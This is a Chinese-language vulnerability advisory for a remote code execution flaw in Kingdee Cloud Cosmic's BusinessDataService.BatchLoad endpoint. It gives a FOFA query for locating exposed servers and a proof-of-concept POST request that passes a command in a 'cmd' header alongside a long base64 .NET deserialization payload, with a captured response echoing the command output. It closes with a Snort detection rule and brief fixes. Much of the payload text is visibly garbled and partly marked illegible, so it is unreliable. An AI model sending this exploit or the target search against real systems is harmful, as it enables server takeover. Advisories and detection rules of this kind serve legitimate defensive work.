

金蝶云星空 BusinessData.BusinessDataService.BatchLoad.common.kdsvc 远程代码执行漏洞

金蝶云星空 BusinessData.BusinessDataService.BatchLoad.common.kdsvc 处存在远程代码执行漏洞，攻击者可执行任意命令，可控制服务器权限。

影响版本

金蝶云星空

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="金蝶云星空-管理中心"

POC/EXP：

POST

/Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.BatchLoad.common.kdsvc HTTP/1.1

Host: 127.0.0.1

Content-Type: text/json

cmd: echo hahahah-nb

[illegible]

[illegible]

S2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5XV0EAAAAACSIAAAAFgAAAAACAAAAJBgAAAAkAAAACTEAAAAKCAgAAAAACggIAQAAAEAAAAADWAAAAyAAAA7WFTeXN0ZW0uTG1ucS5FbnVtZXJhYmxlK1doZXJlU2VsZWNOw51bwvYyWJsZU10ZXJhdG9yYDJBW1N5c3Rlbs5UeXB1LCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dLFtTeXN0ZW0uT2JqZWNOwLCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dXQAAAAJgAAABAYAAAAABWAAAAkHAAAAACgk1AAAAACggIAAAAAAoICAIAAAABGQAAAAA8AAAAAGNgAAAC1TeXN0ZW0uV2ViL1VJL1d1YknvbnRyb2xzL1BhZ2VkrGF0YVnvdXJjZQAAAAAGNwAAAE1TeXN0ZW0uV2ViL1CBWZXJzaw9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibG1jS2V5VG9rZW49YjZjZjYmN2YxMWQ1MGEzYRAaAAAAABWAAAAkIAAAACAgAAAAACAgKAAAAACAEACAEACAgAAAAAARsAAAPAAAAABjAAAApU3lzdGvtLknvbXBvbmVudE1vZGVsLkr1c2l1bi5EZXNpZ251c1ZlcmIEAAAAABjoAAABJU3lzdGvtL1CBWZXJzaw9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibG1jS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORACAAAAABQAAAA0CCTsAAAAICAAAAAJCwAAAAEdAAAAADWAAAAy9AAAAANFN5c3Rlbs5Sdw50aw1lL1JlBW9aw5nLkNoYw5uZwXzLkFnZ3JlZ2F0ZURpy3Rpb25hcnkEAAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5EB4AAAAABAAAAACQAAAAQHAAAAIAAAAAJCgAAAAkKAAAAEAAAAACAAAAABKEAAAAACUEAAAAEJAAAAACJTeXN0ZW0uRGVsZWdhZGVtZXJpYXxpemF0aw9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGvtLkr1bGVnYXR1U2VyawFsaXphdG1vbkhvbGR1ciTEZWxlZ2F0ZUVudHJ5L1N5c3Rlbs5SZWZsZWNOaw9uLk1lBWJlck1uzm9TZXJpYXxpemF0aw9uSG9sZGVyCUIAAAAAJQWAAAAAEoAAAAJAAAAA1EAAAAACUAAAAABLAAAAACQAAAAJRgAAAA1HAAAAATAAAAAKAAAAACUGAAAAJSQAAAAEXAAAAJAAAA1KAA AACUSAAAAABNQAAACQAAAAJTAAAA1NAAAAATsAAAAEAAAAACU4AAAAJTwAAAAARCAAAAMFN5c3Rlbs5EZWxlZ2F0ZVNlcm1hbG16YXRpb251b2xkZXIrRGVsZWdhZGVbnRyeQCAAAAEHlwZQhhc3N1bWJseQZ0YXJnZXQsdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmd1dFR5cGV0Yw1lcm1ldGhvZE5hbWUNZGVsZWdhZGVbnRyeQEBAGeBAQMwU3lzdGvtLkr1bGVnYXR1U2VyawFsaXphdG1vbkhvbGR1ciTEZWxlZ2F0ZUVudHJ5L1AAAAADVAVN5c3Rlbs5Gdw5jYDJBW1N5c3Rlbs5CexRlW10sIG1zy29ybg1iLCBWZXJzaw9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibG1jS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sw1N5c3Rlbs5SZWZsZWNOaw9uLkFzc2VtYmx5LCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dXQk+AAAAACgk+AAAAAB1IAAAAAu3lzdGvtL1JlZm x1Y3Rpb24uQXNzZW1ibHkGUwAAAAARMb2FkCGRDAAAAALN5c3Rlbs5SZWZsZWNOaw9uLk1lBWJlck1uzm9TZXJpYXxpemF0aw9uSG9sZGVyBwAAAAAROYw1lDEFzc2VtYmx5TmFtZQ1DbGFzc05hbWUJU2l1bmF0dXJlC1NpZ25hdHVyZTIKTWVtYmVvVHlwZRBHw5lcm1jQXJndw1lbnRZAQEBAQEAAwGNU3lzdGvtL1R5cGVbXQ1TAAAACT4AAAAJUGAAAAZWAAAAJ1N5c3Rlbs5SZWZsZWNOaw9uLkFzc2VtYmx5IEExvYwQoQn10ZvtDKQZXAAAAALN5c3Rlbs5SZWZsZWNOaw9uLkFzc2VtYmx5IEExvYwQoU3lzdGvtLk1j5dGVBXSkIAAAACGFEEAA AQGAAAAZYAAAAZAJTeXN0ZW0uRnVuY2Ayw1tTeXN0ZW0uUmVmbGVjdG1vbi5Bc3N1bWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5XSxbu3lzdGvtLknvbGx1Y3Rpb25zLkd1bmVyaWMusUVudw1lcmFibGVgVmtbU3lzdGvtL1R5cGUSIG1zy29ybg1iLCBWZXJzaw9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibG1jS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dXQk+AAAAACgk+AAAAACVIAAAAGWwAAAAAhHZXRuexB1cwoBRQAAAEAAAAJWwAAAAk+AAAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIED1dFR5cGVzKCKGxwAAABhTeXN0ZW0uVHlwZVtdIED1dFR5cGVzKCKIAAAACgFGAAAAQgAAAAZgAAAAtgNtTeXN0ZW0uRnVuY2Ayw1tTeXN0ZW0uQ29sbGVjdG1vbnMur2VuZXJpYy5JRw51bwvYyWJsZWAXw1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdG1vbnMur2VuZXJpYy5JRw51bwvYyWJsZWAXw1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRfbnVtZXJhdG9yYDJBW1N5c3Rlbs5UeXB1LCBtc2NvcmxpyiWgVmVyc2lrbj00LjAuMC4wLCBddWx0dXJlPW5ldXRYyWwsIFB1YmXpY0t1eVRva2VuPW13N2E1YzU2MTkzNGUwOD1dXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFSLCBQdWJsawNLZX1ub2t1bj1inzdhNWM1NjE5MzRlMDg5XV0JpGAAAAoJpGAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdG1vbnMur2VuZXJpYy5JRw51bwvYyXRVcmAXw1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwg

```
Request      < > 数据扫描 <美化> 加载 <构造请求> < > Responses 193bytes / 104ms <美化> 渲染 <编码> < > 详情 < >
1 POST /Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.
2 BusinessDataService.BatchLoad.common.kdsvc HTTP/1.1
3 Host : < >
4 Content-Type: text/json
5 cmd: echo hahahah-nb
6 {"ap0": "AAAAAD////
AQAAAAAAAAAAAgAAAFdXtXN0ZW0uV2luZG93cy5Gb3J3cyYmVyc2l2b3JlJmU
C4wLCBDdWx0dXJlPW51d2RyYVlufG93cy5Gb3J3cyYmVyc2l2b3JlJmU
Uw0kdFAQAAACFtXN0ZW0uV2luZG93cy5Gb3J3cyYmVyc2l2b3JlJmU
yb3BlcnR5QmF0eQl1YXJ5bWIAAAACQMAAAAPAwAAAMCAAACAAEAAD////
AQAAAAAAAAAAAgAAAFdXtXN0ZW0uZm93cy5Gb3J3cyYmVyc2l2b3JlJmU
1N5c3RlbnS5Pmp1Y3QsIG1zY29ybg1lLCBhZlZ3Zm93cyYmVyc2l2b3JlJmU
9xbmV1dHJhbmCwUHVibG15Zm93cyYmVyc2l2b3JlJmU2T0M0ZlA4OV1dAwAAAZ
fAbKlXMF3XNpmlU3X2lcnNpb24FAAAACakCAAACAAAGAAACAAAGAAABAAAJ
AwGAAGAAAAAQAAAAAABgAAAKAAAAACQgAAAAQCAAAAKAAAAAQsAAAAQDAAA
AA08BwMAAAABAAQAAAAHAgkNAADADAADAAABHU3l3dGVtLldvcmtmbG93LkNv
BvbmVudE1vZGVzLCBhZlZ3Zm93cyYmVyc2l2b3JlJmU1bHR1cmU9bmV1dHJhbmCwUHV
ibG15Zm93cyYmVyc2l2b3JlJmU2T0M0ZlA4OV1dAwAAAZfAbKlXMF3XNpmlU3X2lcnNpb24FAAAACakCAAACAAAGAAACAAAGAAABAAAJ
AwGAAGAAAAAQAAAAAABgAAAKAAAAACQgAAAAQCAAAAKAAAAAQsAAAAQDAAA
AA08BwMAAAABAAQAAAAHAgkNAADADAADAAABHU3l3dGVtLldvcmtmbG93LkNv
BvbmVudE1vZGVzLCBhZlZ3Zm93cyYmVyc2l2b3JlJmU1bHR1cmU9bmV1dHJhbmCwUHV
ibG15Zm93cyYmVyc2l2b3JlJmU2T0M0ZlA4OV1dAwAAAZfAbKlXMF3XNpmlU3X2lcnNpb24FAAAACakCAAACAAAGAAACAAAGAAABAAAJ
AwGAAGAAAAAQAAAAAABgAAAKAAAAACQgAAAAQCAAAAKAAAAAQsAAAAQDAAA
AA0H7o0ALQJ3zSG4AUzNIVRoXmGcHJz3JhbsBJYm53QyYmUgcnVuIG1uIERP
XN0ZW0uZm93cyYmVyc2l2b3JlJmU2T0M0ZlA4OV1dAwAAAZfAbKlXMF3XNpmlU3X2lcnNpb24FAAAACakCAAACAAAGAAACAAAGAAABAAAJ
A3HwAAAGAAAGAAADw0AAAAEAAAAakAAADAAAAABAAAAAP//
AAC4AAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAOH7o0ALQJ3zSG4AUzNIVRoXmGcHJz3JhbsBJYm53QyYmUgcnVuIG1uIERP
Responses
1 HTTP/1.1: 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNet-Version: 4.0.30319
6 Set-Cookie:
kdservice-sessionid=a3e2a16a-369e-423e-9700-6de17e821050;
path=/
7 Set-Cookie: ASP.NET.SessionId=h5a4vydrv1nvlfqm23pnr25;
path=/; HttpOnly; SameSite=Lax
8 X-Powered-By: ASP.NET
9 Date: Thu, 24-Apr-2025-07:20:53 GMT
10 Content-Length: 189
11
12 hahahah-nb.response_error: 发生时间: -15:20:53- 错误编号:
13 1140e5835a2e4808a0ff603dea627fe7- 错误信息:
14 ParamDeserialize[]序列化类型为System.Object[]的参数产生异常
15
```

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Kingdee Cloud RCE via Deserialization (CVE-202X-XXXX)";
    flow:to_server,established;
    content:"POST"; http_method;
```

```
content: "/Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService
.BatchLoad.common.kdsvc"; http_uri;
  content: "Content-Type: text/json"; http_header;
  content: "cmd:"; http_header;
  content: "{\"ap0\": \"\""; http_client_body;
  pcre: "/\"ap0\": \"[^\"]\"*?\\\\\\\\(?:u[0-9a-f]{4}|x[0-9a-f]{2})[^\"]\"*?
\\\", \"format\": \"3\"/i";
  metadata:cve,CVE-202X-XXXX;
  metadata:affected_product "Kingdee Cloud";
  metadata:attack_type "Deserialization RCE";
  metadata:severity "critical";
  classtype:web-application-attack;
  sid:1000057;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。